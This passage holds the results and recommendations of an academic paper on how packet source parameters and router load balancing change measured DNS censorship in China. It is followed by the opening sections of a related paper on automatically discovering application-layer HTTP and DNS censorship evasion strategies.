excluded from future measurements). For example, if we per-
form the same experiment three times and the first two times
no response is seen, and the third time we receive a response,
there are two possible scenarios: (1) the route changed be-
tween the second and third packets, or (2) packet loss occurred.
Our decision metric would assume the latter and identify this
experiment as “unchanged.” This metric is conservative as we
potentially undercount routing changes, making our measures
lower bounds on the total routing changes observed.

Censorship Profiles. Our goal of studying changes in cen-
sorship behavior for a particular vantage point necessitates
constructing a representation of what is censored from van-
tage to vantage. To this end we define a censorship profile to
be the set of all domains censored at a specific destination IP.
Since we only measure “inactive” IP addresses (IPs with no
known open ports, confirmed by controls) this set is easy to
generate as any response we obtain for a particular domain
directly indicates that particular domain is being censored.

Identifying Changes in Censorship Profile. Not all of
the domains we test are uniformly censored across all des-
tinations [31, 41]. We need a way of identifying changes in
censorship on a per-destination basis. Ideally a particular des-
tination is expected to have just one censorship profile (if
measured from a single source), but in reality changing the
probe packet structure results in a number of different cen-
sorship profiles stemming from routing changes. We pick out
the profile that is most common among all measurements and
record all deviations from the majority profile.

Controls. As part of our input generation we include con-
trol domain names (known to be widely censored or never
censored) and destination IP addresses of public resolvers
outside the censorship region. We utilize these controls to en-
sure “inactive” IPs remain inactive and that all responses are
censorship responses. We also use our control IPs to ensure
our measurements are functioning correctly and not subject
to packet loss or transient network outage.

4 Dataset and Experiments
Our exploration of packet construction driven censorship
changes spans three distinct and iterative experiments: (1)
router path exploration, (2) assessing the scope of changes
across IPs, and (3) assessing the scope of changes across do-
main names. In this section we explain the data collected for
each experiment and how we processed the data to obtain our
results. In keeping with our ethical principles, we limit the
scale of each experiment to what we believe are the minimal
viable set of domains and/or IP addresses to successfully eval-
uate our research questions. Table 1 provides an overview of
input parameters used for all experiments.

Router Path Exploration: aims to understand path
changes resulting from changing various packet parameters.
BreadCrumb performed DNS traceroutes on 363 destination
IPs (one for each AS, as discussed in Section 3.3.1) using
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Experiment Destinations # of Source IPs/Ports Domains

Router Paths 363 1/1, 196/1, 1/196, 14/14 2
Explore. Changes across IPs 363 100/50 25
Changes across IPs 10000 200/100 4
Changes across Domains 492 5882 Total IP:Port Combos 75

Table 1: Overview of our experimental dataset. For Changes across Domains, we used a collection of source IP/port combinations
from Changes across IPs that exhibited the most variation in order to explore (only) domain differences.

two well-known uncensored domains (example.com, afekv.
com) while varying packet construction per our methodology.

Exploratory Changes Across IPs: aims to establish a min-
imal viable set of domains to use for the following, larger,
Changes Across IPs experiment.

Changes Across IPs: aims to understand censorship
changes remote measurements would observe from varying
the source IP and source ports of measurement packets. We
measure a geographically diverse set of IP addresses across
China, selected using the previously outlined methodology.

Changes Across Domains: looks to understand if routing
changes also result in more subtle changes across what is
censored across a larger set of domains. We use the results
from previous experiments to identify optimal destination
IP and source parameters most likely to yield differences in
censorship behavior. This set is biased towards change and
is only used to identify domains (RQ4, Section 5.4), not the
prevalence of routing changes.

4.1 Destination IP Selection
We began by identifying a set of vantage points inside China
using the Censys dataset as described in Section 3.3.1. Using
an August 2021 snapshot we began with 13.6 million IPs that
were geolocated within China. Of those we identified 175K
that were open on port 53 (i.e., open resolvers). From these
we used our “inactive” methodology to select 175K IPs in the
same subnet which had no known open ports. We selected
IPs near these open resolvers in an effort to provide results
consistent with open resolver measurement studies [31, 36],
while still adhering to our ethical guidelines. These 175K
IPs were spread across 363 autonomous systems (ASes). We
verified before and during our experimentation that each IP
address remained unresponsive on port 53. All experiments
were performed across the month of September 2021.

Weighing the need for a comprehensive picture of routing
and censorship changes against ethical concerns, we randomly
selected a subset of IPs appropriate for each experiment, con-
trolling for balance across ASes. For our Router Paths ex-
periment we randomly selected 363 IPs (one per AS), and
to explore Changes Across IPs we selected 10,000 IPs (ran-
domly, but weighted by AS). For Changes Across Domains,
we selected 492 destinations that exhibited the most variation
in previous experiments to explore (only) domain differences.
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Figure 2: Cumulative Distribution Function (CDF) of ob-
served path lengths during trial experiments. This distribution
was used to decide the TTL range to perform experiments on
in order to limit the number of packets sent. We observed a
mean path length of 15 and roughly 98% of the paths have a
length less than 25.

4.2 Selecting TTL Range
Before conducting our Router Paths experiment we need to un-
derstand the distribution of route lengths across our dataset in
order to limit the number of measurements needed to quantify
route changes. Such understanding is needed as we must ulti-
mately generate packets for each possible TTL value, while
also varying multiple other source packet parameters. Lim-
iting the max TTL ensures we limit the overall number of
packets sent to a minimum. We used BreadCrumb to perform
non-censorship related DNS measurements to a representative
subset of the initial seed open resolvers in the target region,
querying an uncensored domain. We use uncensored domains
to ensure we explore the full path between our measurement
machine and various destinations, not just to some subset of
censorship infrastructure. Figure 2 shows the distribution of
those path lengths. We find that 98% of destinations have
a path of less than 25 hops. We use this information to test
TTLs in the range of 2 to 25.

4.3 Selecting Domains
We began with the Citizen Lab Block List (CLBL) [14] con-
sisting of 567 sensitive domains across 27 different categories
for China. Our goals were to understand the extent and dif-
ferent forms of censorship variation across a large set of des-
tinations. Given our ethical goal to minimize risk combined
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with the likelihood of diminishing returns [31], we selected a
subset of domains from this list spread across categories.

We selected one domain from each category (excluding
Pornography and Terrorism) and performed a preliminary
“Exploratory Changes across IPs” experiment across the same
363 destination IPs used in the “Router Paths” experiment.
From this we selected three domains that showed changes
in behavior due to routing which we utilized for subsequent
experimentation. These domains were a US-based social me-
dia platform, a US-based news website, and a US-based think
tank (See Appendix A). In addition to these three we included
a control domain we own that has no history of observed cen-
sorship. For our final experiment on Changes across Domains
we selected 75 total domains, three from each category.

4.4 Selecting Source IPs and Ports
We utilized a contiguous research /24 IPv4 address range for
our experiments. For these experiments all IPs were routed
to the same device and all had the same upstream first-hop
router. Keeping with community norms [17] the address range
had reverse DNS PTR names and WHOIS records that indi-
cated it was used for research Internet scans, and each IP
hosted webpages with contact and opt-out information. We
selected IP addresses at random from this subnet, avoiding .0
and .255. For source port we selected ports at random from
the ephemeral range.

4.5 Result Convergence and Filtering
As discussed in Section 3.3.3, we performed iterations of
experiments to establish confidence in the consistency and
robustness of our results, removing consistent experiments
as they were generated. Figure 3 shows the destinations mea-
sured and coverage at each iteration. We observe that with
each iteration, we significantly reduce the number of destina-
tions measured and at the same time increasing the number
of potential responses received.

Across the 10,000 destination IPs that we tested, 9430
generated censored responses when expected and remained
“inactive.” We began with this set and iterated, removing exper-
iments from the set when they produced a censored response
to the well-known censored domains. This method accounts
for potential packet loss or short-term transient outages, while
also being conservative by immediately terminating if any re-
sponse is received. By iteration 12, results had stabilized both
in terms of response and remaining experiments, and Bread-
Crumb terminated. The remaining experiments that lacked
censorship responses across a (destination IP, source IP, and
source port) tuple (but for which other experiments at that
destination IP showed censorship) we expect, and verify, rep-
resent routing-induced censorship changes. We note that it is
possible that a routing change during iterative measurement
would change a particular experiment from “not responding”
to “responding.” Given that our default state is assuming con-
sistency for a destination IP across all experiments, such a

shift would move an experiment into the consistency state,
thus under counting routing changes, and yielding our conser-
vative estimation.
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Figure 3: Result coverage per iteration. Percentage of re-
sponses and number of destinations tested at each iteration to
obtain results. We see that we get a higher coverage with each
iteration but at the same time send packets to a fewer number
of destinations. Results stabilize by iteration 12.

5 Results
In this section we show the impact of changing packet source
parameters on: (1) changes in path taken by a DNS probe, and
(2) changes in observed censorship behavior and the extent
of those changes. This section is structured as posing and
answering a series of research questions on the effects of input
parameters in a DNS censorship measurement scenario. The
section concludes with a case study visually documenting how
changes in route result in measurement packets bypassing
censorship devices.

5.1 RQ1: Does Varying Source Port and IP
Change the Path of Censorship Measure-
ment Packets?

Previous work has shown that routers balance load based on
packet construction [4, 5]. The goal for this research question
is to understand the presence of these changes in the context of
DNS censorship measurement. Our goal is not to thoroughly
explore the magnitude of multipath load-balancing, but in-
stead to demonstrate how changes in source parameters cause
path differences in a censorship measurement packet. To this
end, we employ two metrics - number of nodes and number of
paths. A node is an IP address that indicates a router hop and
number of nodes is the set of all nodes observed by Bread-
Crumb for a (destination, domain) pair across all changes in
the source parameters. A path is a set of all nodes observed
in a DNS traceroute with one set of source parameters and
number of paths is a set of all paths for a (destination, domain)
pair across all changes in the source parameters.
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Experiment Mean Number
of Nodes

Mean Number
of Paths

Fix IP & Port 15 2
Fix IP, Vary Port 55 110
Vary IP, Fix Port 89 134
Vary IP & Port 75 129

Table 2: Path Metrics. Mean number of paths and number
of nodes for the different experiments. We utilize the same
total number of measurements to ensure results are normal-
ized (e.g., test fewer IPs when varying both IP and port). We
observe that simply changing the source port significantly
increases the number of paths, and additionally changing both
the source IP causing even more variation.

We apply these metrics to the dataset collected in the Router
Paths experiment (described in Section 4). Table 2 presents a
summary of results from the different experiments performed.
Figures 4 and 5 also show the results of these experiments.
We now outline the parameters of the experiments and discuss
the results in more depth.

Constant (Fixed) Parameters. We performed repeated ex-
periments with a set of fixed source parameters. Performing
repeated measurements without changing source parameters
provides us with a baseline to understand changes in path
due to changing source parameters in the later experiments.
Across all destinations, we observe a mean of 15 number of
nodes and 2 number of paths (with 196 repeated measure-
ments). This indicates that a fixed set of source parameters
does not yield significant differences paths, over a fixed period
of time, with repeated experiments.

Varying Source Port. Next, we performed the same ex-
periment but with 196 randomly selected source ports in the
ephemeral port range and fixing all other source parameters
(thus keeping the total number of probes consistent). We ob-
serve a mean of 55 number of nodes and 110 number of paths,
across all destinations. Given that we performed a total of 196
experiments, the maximum number of paths we could have
observed is 196.

We can see that varying only one source parameter, the
source port, results in a considerable number of differing
paths for DNS censorship measurement packets.

Varying Source IP. We next performed an experiment
across 196 randomly selected source IPs from our /24 IPv4
address range and fixed all other source parameters. We ob-
serve a mean 89 number of nodes and 134 number of paths,
across all experiments. Varying source IPs appears to have a
higher impact in causing differing paths with the DNS probe
packet with almost 60% more nodes discovered compared to
just varying source port.

Varying Both Source IP and Port. Next we performed
an experiment across 14 source IPs and ports (totaling 196
combinations, keeping total volume consistent). We observe
75 number of nodes and 129 number of paths on average.

As expected, these numbers appear to lie in between varying
ports and varying IPs, as we sample from both distributions.

In answering RQ1 we established that varying different
source parameters of a DNS censorship measurement packet
has a strong impact on the path traversed by the packet and
to differing levels, based on different source parameters. Fig-
ure 4 shows a distribution of these metrics across destinations.
Note that in varying the source IP, a group of the number of
paths are in the rightmost extreme indicating that for many of
the destinations, varying 196 source IPs produced 196 unique
paths. Figure 5 shows a CDF of the number of nodes and num-
ber of paths metrics across all the destinations. Performing
repeated experiments with fixed source parameters does not
produce significantly differing paths but changing the source
parameters independently or together causes varying modes
of differing paths across the dataset.

5.2 RQ2: Does Varying Source IP and Port
Change Measured Censorship?

We have established that changing packet source IP (within
a subnet) and source port causes significant routing changes.
We now explore the impact of route changes on censorship
behavior. As described in Section 4, we use results from the
large-scale Changes across IPs and Changes across Domains
experiments to understand changes in observed censorship.

We explore the change in censorship due to routing changes
via the Changes across IPs experiment. In this experiment we
select 10,000 destination IPs at random within China using
the aforementioned methodology, and measure three known-
censored domains. We construct censorship profiles for each
destination IP and identify changes in censorship on a per-
destination basis (see Section 3.3.3). Figure 6 shows these
results. In this plot we focus on an observation that changes
in censorship were overwhelmingly all-or-nothing—either
a particular (source IP, source port) experienced “expected”
censorship, or no censorship at all. We find 37% of destina-
tions across 56% of the ASes exhibited some form of change
in observed censorship based on input parameters in this ran-
domized experiment.

Of note is that a significant portion of destination IPs for
which there are only a handful of experimental parameters
that yield changes in censorship behavior. At first glance this
could be attributed to measurement error or dropped pack-
ets, however, that is not the case. For these parameters the
following properties are true: (1) All domains tested exhib-
ited the same behavior for these experimental parameters, (2)
These results remained constant over numerous experiment
iterations, across half a day, and (3) manual inspection of a
random sample of the results days later yielded the same out-
come. If such experimental parameters are in fact some form
of routing error or dropped packets, given the extent to which
they exist and remain consistent, we argue they are routing
induced censorship measurement changes.

Exploring the remainder of the results, we find that 3%
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Figure 4: Distribution of number of nodes and paths across all the destinations for each experiment. Marker size does not scale
linearly. The number of paths for the case where source IP is varied is more distributed towards the extremes whereas with
varying ports, they are more evenly distributed. Of note is that for a large portion of the destinations, each source IP resulted in a
completely different path.
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Figure 5: CDF of number of nodes and paths observed for all destinations for the different experiments. For the Constant (Fixed)
experiment, the number of nodes seen is at most 30 and number of paths within 13. When we vary the source port and source IP,
the number of nodes and paths vary to different extents at several different modes. This figure shows route variation does exist,
and it could potentially influence censorship (explored further in RQ2).

of the destination IPs and 17% of ASes observed changes
in censorship over 10% of our experimental parameters. We
will subsequently show (Section 5.3) that these effects are
based on the bit patterns of the source IP and destination IP,
as well being randomly distributed over source port. Given
these distributions, changes in censorship tend to accumulate
over large measurements. This has two critical effects: (1)
as censorship measurements scale-up (such as in prior stud-
ies [31, 37]), packet parameter-induced censorship changes

are more likely to appear, and (2) comparisons within an AS
are more likely to observe censorship changes than individual
IP measurements (as seen in Figure 6).

Given that variation can be highly-localized to specific IP
and port combinations, as well as domains, in randomized
experiments the observed effects may be small and could be
mistaken for packet loss or similar transient phenomena. For
example, in the Changes across IPs experiment, across all
destinations that exhibit censorship, we received censorship
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Figure 6: CDF of (source IP, source port) pairs which had
censorship changes, per destination. X-Axis is log scaled. We
observe that 37% of the destinations and 56% of ASes had
persistent censorship differences across some set of source
IP and source port combinations. As the effect is based on
source IP, source port, and destination IP, change is cumula-
tive, leading to increased prevalence across ASes.

responses for 66% of the queries we sent to known sensitive
domains. However, if we instead limit our experimentation to
just two known widely censored domains that were less likely
to experience variation, we received censorship responses to
97% of DNS queries sent when randomizing packet param-
eters. This underscores the need for careful construction of
packets in conjunction with the selection of domains.

5.2.1 All-or-Nothing Censorship

We find that 95% of all censorship changes were all-or-
nothing, meaning that depending on the source parameters
(IP and port), we either observed no censorship or “expected”
censorship activity. The extent of change varied for each des-
tination and also with source parameters. As our experiment
was conducting over 200 source IPs and 100 source ports, we
now explore the influence varying each source IP and port
had on changes in censorship.

Source Parameters. We begin exploring this behavior in
Figure 7, a CDF of the percentage of source ports and IPs
that exhibited the all-or-nothing behavior. For source IPs, we
observe that: (1) roughly 5% of the destinations had a change
across all source IPs, (2) 20% of the destinations had one
source IP which resulted in no censorship, and (3) for the
average destination IP, 3 source IPs exhibit no censorship. For
source ports, we see that (1) for roughly 18% of the desti-
nations, all ports experience no censorship (across the 200
source IPs), and (2) for the average destination, around 50
ports experienced no censorship across all IPs. From this we
see that the number of paths vary with both changing source
port and IPs but change in censorship behavior is influenced
more by change in source IPs rather than ports. These results
could also however point to multiple independent routing de-
cisions, some based on IP, some on port, influencing change.

5.2.2 Other Forms of Variation

Even though all-or-nothing was the predominant form of
variation observed, there were changes in observed censor-
ship among the other domains we tested as a consequence of
change in packet parameters. We observed a change in cen-
sorship for the US-based think tank at 288 destinations and
the US-based news website at 161 destinations. These results
were manually confirmed to be accurate. The latter was partic-
ularly interesting since the US-based news website was only
censored at 161 destinations and all of them had a change in
observed censorship as a consequence of change in packet
parameters. We speculate this is a result of the distributed
nature of the great firewall, whereby some routing change
lead to a path that exercised a completely different piece of
censorship infrastructure. We also note that the scope of this
experiment was only a handful of domains. In Section 5.4 we
explore a larger set of domains and find further variation.

5.3 RQ3: Do Particular Source IPs or Ports
Cause More Censorship Changes?

We have established that measured censorship changes occur
as a consequence of selecting different packet parameters. We
now focus on understanding whether particular source IPs or
ports cause more change than others, and why.

Figure 8(a) shows the distribution of destinations for which
a particular source IP resulted in no censorship, with the colors
representing the lowest 3 bits of the source IP. Surprisingly,
we observe that: (1) Some source IPs seem to elicit more
non censorship behavior than others and are not as uniformly
distributed as source ports, (2) Depending on the last 3 bits
of the source IP, the number of destinations for which the
particular source IP experiences no censorship almost doubles,
and (3) the last three bits of the source IP has a direct impact
on the number of destinations where the particular source IP
causes change.

Figure 8(b) is the same dataset as (a) but instead colored by
the last 3 bits of the destination IP. We observe that: (1) not
only do certain source IPs cause more changes, the destina-
tion IP itself also influences the amount of change in observed
censorship behavior, and (2) we see that the amount of ob-
served censorship behavior is a function of the combination
of source and destination IPs’ last three bits.

Upon investigation we discovered that router load balanc-
ing algorithms [11–13] have been known to XOR the last
few bits of the source and destination IPs to perform routing
decisions. Observing the patterns in Figure 8, we can deduce
that a form of known load-balancing based on packet headers
influences changes in censorship results.

5.4 RQ4: How Prevalent are Censorship
Changes Across Domains?

We have shown that changing packet parameters results in
different paths and also in differing observed censorship be-
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Figure 7: CDF of proportion of source IPs/Ports that had different censorship behavior (for all destinations that had some
change). Plot (a) shows the median destination saw changes across 5% of source IPs. 10% of destination ASes saw changes
across 80% or more of source IPs. 5% of destination IPs saw changes across all source IPs. Plot (b) shows change is distributed
roughly evenly over the ports, with roughly 5% of destinations showing changes across only 1% of ports. Of note is 18% of
destinations saw changes for all source ports (across source IPs).
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Figure 8: Distribution of experiments with censorship change across source IPs. (a) results are colored by the lowest 3 bits of
source IP, (b) results are colored by the lowest 3 bits of destination IP. X-axis is sorted (descending order) based on changes
caused by a source IP. We see that the extent of censorship changes nearly double depending on the lowest 3 bits of the source IP.
In (b) we see that the destination IP lower order bits also influence censorship changes significantly. We note that routers are
known to load balance by these bit patterns [11–13].

havior for some destinations. We now look at whether subtle
changes across what is censored arise due to routing changes.
For our final Changes across Domains experiment with 492
destinations and 75 sensitive domains we observed that: (1)
the all-or-nothing variation was still the most dominant and
held for all the domains tested and caused changes in 156
destinations, and (2) some domains individually exhibited

change in observed censorship. Table 3 summarizes these
results. We find that the all-or-nothing behavior is once again
the dominant behavior. But as we expand the domain set we
discover several domains across 4 categories that experience
small-scale changes in censorship behavior based on source
IP and port selection. Of note, all of the domains we observed
to experience small-scale changes were first censored within
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Category Number of Destinations

All-or-Nothing 156

Online Dating 17
LGBTQ+ 7
Gambling 9
Hacking Tools 6

Table 3: Changes Across Domains. Number of destinations
that observed a change in censorship for sensitive domains, by
category. All-or-nothing denotes the effect we observe where
we see either all “expected” domains censored, or no domains
are censored, based on the source IP and port. The experi-
ment was conducted across 492 destinations with 75 domains
across 25 categories. While all-or-nothing behavior was most
prevalent, several categories had domains that experienced
small-scale censorship changes based on source IP and port.
The small-scale changes were exclusively among domains
first observed to be censored within the last two years.

the last 2 years. This result points to possible inconsistencies
in the configuration of the censorship devices, which has been
previously theorized [31].

5.5 Individual Case Study
Building on BreadCrumb’s DNS traceroute mechanism, in
this section we present a case study on an individual example
using network graphs. For this case study we selected a single
destination for which varying source IPs (in the same /24) ex-
hibited differing censorship behavior for a particular sensitive
domain. For each source IP, we performed DNS traceroute
with 50 different source ports and combined the traceroute
results into a single network graph. Figure 9 shows the two
network graphs we obtained. The experiments in the graph
on the left always observed censorship and the experiments
in the graph on the right never observed any censorship. The
node at which censorship occurred is marked in red, the nodes
that only appeared on the left or on the right are marked with
different colors. We observe that at layer N=14, there is a
diversion in path with the source IP on the right, taking it
through a path that never passes through the node that ap-
pears to perform censorship even though the path converges
back together to reach the destination. This is a clear example
showing that the change in path due to the source parame-
ter causes the packet to not pass through the system that is
performing censorship, leading to a change in the observed
censorship behavior.

6 Discussion and Recommendations
We have shown that source IP (within a subnet) and source
port of the header of censorship measurement packets influ-
ence packet routes, and in turn result in varying measured
censorship. Such changes can be incorrectly attributed to geo-
graphical variations or non-determinism in the results due to
packet loss. In this section we provide insights on censorship
measurement methodology relating to packet construction and

other guidance for censorship researchers when performing
remote censorship measurement.

We suggest the following considerations when performing
censorship measurement:

• Selecting Input Parameters: Source IP and port need
to be carefully picked when performing the experiment.
Since the last 3 bits of the source IP have a direct im-
pact on results, techniques must perform measurements
from a diverse (with respect to the lowest 3 bits) set of
source IPs. Source port had a lesser impact on result in
our particular study, but depending on the network struc-
ture of the country being studied, this observation can
change. Therefore techniques must perform experiments
with several different randomly selected source ports to
rule out the influence on routing changes. Where possi-
ble, measurements should be spread out over numerous
source IPs within a subnet to ensure diversity of paths.

• Path Reconstruction: We have shown that paths vary
greatly due to packet construction. When reconstructing
network paths relating to censorship and attempting to
identify censoring nodes, it’s critical to ensure the tracer-
oute packets are constructed identically to the measure-
ment packets, paying careful attention to fields known to
be leveraged by routers for load balancing. BreadCrumb
is one such tool to aid in reliable path reconstruction.

• Picking Destinations: We have also shown that mea-
surement paths are dependent on the bit pattern of the
lowest 3 bits of destination IP. Measurement techniques
must pick destination IPs that have a diverse distribu-
tion with respect to these patterns (and thus routes), in
addition to geographic or network diversity.

• Packet Loss and Retries: Packets are frequently
dropped in the network. Measurement techniques must
perform careful repetition to establish consistency in
their results in order to be able to distinguish between
changes caused by routing vs packet loss. This repetition
must involve spreading measurements out over different
input parameters, not simply retrying packets without
altering construction.

Towards Censorship Evasion. In this work we established
that source parameters under the control of a user can in-
fluence remote censorship measurement results. A natural
extension of this work is to establish the viability of users
within countries experiencing censorship leveraging the de-
scribed routing phenomena to evade censors. We envision
such work could take two directions, both aimed at the de-
velopment of user-facing tooling. First, it could aim to evade
censors completely using the phenomena established in this
work. Second, it could seek to leverage route variations to
split content across multiple routes in an effort to confound
censor activity. We leave further exploration of such evasion
technology to future work.
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Figure 9: Route and Censorship Case Study. This figure shows a concrete example of the path taken by DNS measurement
packets between our measurement source and a destination inside China for the censored domain. The shaded region represents
nodes in ASN 4134 (ChinaNet), that is known to perform censorship. For this single example destination IP we collect all the
(source IP, source port) pairs that resulted in censorship and plot the observed traceroute nodes collected by BreadCrumb on
the left of the figure. We then group the pairs that did not result in censorship on the right of the figure. The only difference
between the two path sets is the source IP (within the same /24) and source port. We also manually extract the node we believe
is responsible for censorship based on TTL responses, and color it red. We see that there is a distinct set of path differences
beginning at N=14 that result in different nodes being seen in the censored vs non-censored routes. The width of the lines
represents the number of experiments that flow through the given edge.

7 Conclusion
Despite the development of numerous methods to perform
remote longitudinal censorship measurement, few have ad-
dressed non-determinism or inconsistencies in censorship
results. We built BreadCrumb, a measurement methodology
and associated tool to understand the prevalence of censorship
changes due to router-based load balancing across different
source parameters of a DNS probe packet. Using Chinese
DNS censorship as a lens, we show that changing the packet
parameters used for measurement causes significant changes
in the path of the packet which in turn results in changes in
measured censorship. BreadCrumb shows how routers use
certain bits of the source IP and destination IP to make load-
based routing decisions that have a direct impact on observed
censorship behavior. We provided several insights on select-
ing input parameters like source IP, source port and destination
IP when designing and performing censorship measurement.
We also provided guidance for future measurement methods.
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A Examples
Table 4 contains examples of destination IPs and source pa-
rameter combinations that elicit differences in censorship
results.

Destination Source
Parameters Domain

1.116.30.255 x.x.x.36:12340,
x.x.x.37:12340

twitter.com

101.224.206.29 x.x.x.171:41340,
x.x.x.170:41340

twitter.com

103.45.149.117 x.x.x.52:12919,
x.x.x.53:12919

twitter.com

106.12.43.188 x.x.x.165:20701,
x.x.x.164:20701

twitter.com

122.68.118.163 x.x.x.171:24640,
x.x.x.172:24640

twitter.com

123.83.136.8 x.x.x.144:36764,
x.x.x.165:36764

twitter.com

202.112.57.19 x.x.x.67:54262,
x.x.x.68:54262

csis.org

210.45.168.4 x.x.x.163:58461,
x.x.x.164:58461

csis.org

36.96.222.132 x.x.x.162:24202,
x.x.x.161:24202

bigthink.com

36.109.96.54 x.x.x.47:18532,
x.x.x.46:18532

bigthink.com

Table 4: Examples. Set of example destination IPs and corre-
sponding source parameters pairs that resulted in censorship
differences as of February 2022.
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Abstract
The censorship arms race has recently gone through a trans-
formation, thanks to recent efforts showing that new ways
to evade censorship can be discovered in an automated fash-
ion. However, all of these prior automated efforts operate by
manipulating TCP/IP headers; while impressive, deploying
these have proven challenging, as header modifications often
require greater privileges than are available to censorship cir-
cumvention apps. In that line of work, the application layer
has gone largely unexplored. This is not without reason: the
space of application messages is much larger and far less
structured than TCP/IP headers.

In this paper, we present the first techniques to automate
the discovery of new censorship evasion techniques purely in
the application layer. We present a general solution and apply
it specifically to HTTP and DNS censorship in China, India,
and Kazakhstan. Our automated techniques discovered a total
of 77 unique evasion strategies for HTTP and 9 for DNS, all
of which require only application-layer modifications, making
them easier to incorporate into apps and deploy. We analyze
these strategies and shed new light into the inner workings
of the censors. We find that the success of application-layer
strategies can depend heavily on the type and version of the
destination server. Surprisingly, a large class of our evasion
strategies exploit instances in which censors are more RFC-
compliant than popular application servers. We have made
our code publicly available.

1 Introduction

Internet censorship by nation-state actors affects billions of
users worldwide. While there are many forms of censorship—
including blocking all transnational connections [1] and mis-
information campaigns [22]—the most pervasive form of
censorship comes in the form of in-network firewalls that
monitor traffic for certain keywords or domain names and in-
ject packets to tear-down connections (via TCP RSTs [47,59])
or misdirect clients (via spoofed DNS responses [6]).

For decades, an arms race has been waged between cen-
soring nation-states and the researchers and activists seek-
ing to enable a more free and open Internet. Recently, this
arms race has led to powerful new mechanisms that automate
the discovery of censorship circumvention strategies. In par-
ticular, Alembic [52], Geneva [14], and SYMTCP [60] use
varying techniques to find ways to manipulate TCP and IP
headers in ways that confuse a censor but maintain end-to-
end correctness between client and server. These techniques
have arguably transformed the censorship arms race, allow-
ing researchers to rapidly discover new evasion strategies,
sometimes in a matter of hours [12].

Although powerful, by focusing only on TCP and IP head-
ers, these tools suffer from several limitations:

Difficulty of deployment. As a practical matter, manipulat-
ing TCP and IP headers requires administrative privileges
on most platforms. Some platforms limit such access (most
mobile platforms do not have options for raw IP sockets), and
some tools are reluctant to seek root privileges in the first
place (notably, Tor [23]). Ideally, censorship evasion could
take place by manipulating only application-layer data, which
could take place in unprivileged usermode.

Lack of UDP support. Each of these prior tools only sup-
ported TCP-based applications. While this is extremely
useful—spanning HTTP, HTTPS, and even DNS over TCP—
it misses out on arguably the most important and common
protocol: DNS (over UDP). Without reliable and uncensored
DNS, users and applications would have to know IP addresses
of the services they wish to connect to, which is untenable.
However, UDP is such a simple protocol that manipulating
UDP headers alone is unlikely to lead to viable censorship
evasion strategies. Again, it would be ideal to explore how to
alter application-layer data to evade censorship.

Surprisingly, despite advances in fuzzing techniques in other
domains, techniques to automate the discovery of censorship
evasion strategies in the application space remain relatively
unexplored. At the time we started this project, we were un-
aware of any application-layer fuzzers that could generalize
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to multiple protocols and be modified to train against nation-
state censorship infrastructure.

To address this, we present what we believe to be the first
work that automatically discovers application-layer censor-
ship evasion strategies. We build from an existing censorship
evasion tool,Geneva [14], and extend it with application-layer
fuzzing, and new fitness functions. The fuzzing engine we
have built is not our primary contribution; indeed, it is a rela-
tively standard fuzzer. What is surprising, however, is that, to
the best of our knowledge, fuzzers have not been applied to
censors at all.

Why study censorship of unencrypted protocols?
HTTPS adoption is on the rise for most of the web [25], and
browsers have started to request HTTPS by default [17].
Likewise, with development of encrypted DNS transports,
such as DNS-over-TLS (DoT), DNS-over-HTTPS (DoH),
and DNS-over-QUIC (DoQ), why study “vanilla” DNS?
Despite the availability of more secure alternatives, unen-
crypted protocols are still heavily used around the world.
Unencrypted DNS dominates; encrypted DNS alternatives
are not yet widely adopted anywhere [37]. HTTP traffic is
also still unfortunately prevalent in censored regimes. As of
the time of this writing, HTTP traffic comprises nearly 20%
of all traffic out of China to Cloudflare [21]. Worse yet, many
censored websites still do not support HTTPS. We issued
HTTPS requests to all the domains in Citizenlab’s censorship
test lists [19] and found that 18% of them did not support
HTTPS, and 52% of the domains on their China-specific
list did not load over HTTPS. Lastly, censors have grown
increasingly hostile to new privacy advances in HTTPS,
blocking TLS 1.3’s ESNI [15], and launching HTTPS
man-in-the-middle attacks [53, 54, 64]. Taken together, we
believe HTTP and DNS will be prevalent in censored regimes
for the foreseeable future. Our work shows that HTTP and
DNS censorship can be evaded in easily deployable ways.

Contributions We make the following contributions:

• We take the first steps toward automating the discovery of
application-layer censorship evasion strategies. These are
easier to deploy than their headers-only counterparts.

• We use our fuzzer to perform a widescale empirical study
in several countries (China, India, and Kazakhstan), two
protocols (HTTP and DNS), and many different versions
of server software.

• We discover and report on 77 unique circumvention strate-
gies for HTTP and 9 for DNS. We describe many of these
strategies in detail, and provide the full list in the appendix.

• We perform a thorough analysis of these strategies to
gain new insights into how censorship is implemented in
different places and how evasion strategies generalize at
the application layer.

To enable the community to build on our results, we have
made our code publicly available at:

https://geneva.cs.umd.edu

Roadmap The rest of this paper is structured as follows:
§2 presents background and related work. §3 describes the
design of our fuzzer, and the specific application to DNS
and HTTP. §4 describes our experimental methodology. §5
presents our results from training over HTTP and §6 presents
our results from training over DNS. We discuss these results,
and what we can learn about censors in §7, and address ethical
considerations in §8. Finally, §9 concludes.

2 Background and Related Work

In this section, we review nation-state network censors and
provide an overview of prior work on fuzzing and past ap-
proaches to automate censorship evasion.

Nation-state censorship In this work, we focus on nation-
state Internet censorship, which seeks to control which des-
tinations and what content those in the nation can access
on the Internet. Censorship infrastructures are made up of
middleboxes, which rely on Deep Packet Inspection (DPI) to
parse packet payloads to look for keywords or domains they
wish to censor. Nation-state censors perform censorship in
myriad ways: researchers have identified censors that inject
TCP RSTs to tear down connections [4, 14, 20, 44, 47, 59, 63],
spoof DNS responses with incorrect answers to thwart address
lookup [6,7], send HTTP content for a block page [14,67], or
even drop traffic altogether [13].

As it is most relevant to this work, we draw special atten-
tion here to the mechanisms used to censor HTTP and DNS
by nation-states. Censors commonly filter HTTP traffic in
one of two ways: either by examining the requested domain
(via the Host header), or by searching for forbidden keywords
in the request string itself [13, 14, 67]. Censors in India and
Kazakhstan examine the Host header, while the Great Fire-
wall of China (GFW) uses both techniques. All three of these
countries perform HTTP censorship differently. Airtel’s ISP
in India injects a block page to the user, the GFW injects
RST+ACK packets to tear down the connection, and the Kaza-
khstani censor drops the offending traffic (and subsequent
traffic) from the client. To censor DNS, censors commonly
inject responses that contain an incorrect IP address. As of the
time of this writing, China has deployed three independent
DNS censorship systems running in parallel, each with their
own fingerprints and block-lists [8]. Although some DNS and
HTTP servers are censored by IP-blocking, we focus in this
work on the active censorship performed at the application
level.

All the nation-state censors we study in this paper only
examine client requests: they do not parse server responses
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for forbidden content. Although there have been instances in
the past of censors parsing server responses for censorship,
this does not apply to the censors we study [67].

Another commonality amongst the nation-state censors
we study in this work is that they fail open, meaning if they
are unable to parse or censor a request, it will be allowed
through. In the future, censors could theoretically switch to a
fail-closed system, but prior work has noted that this could be
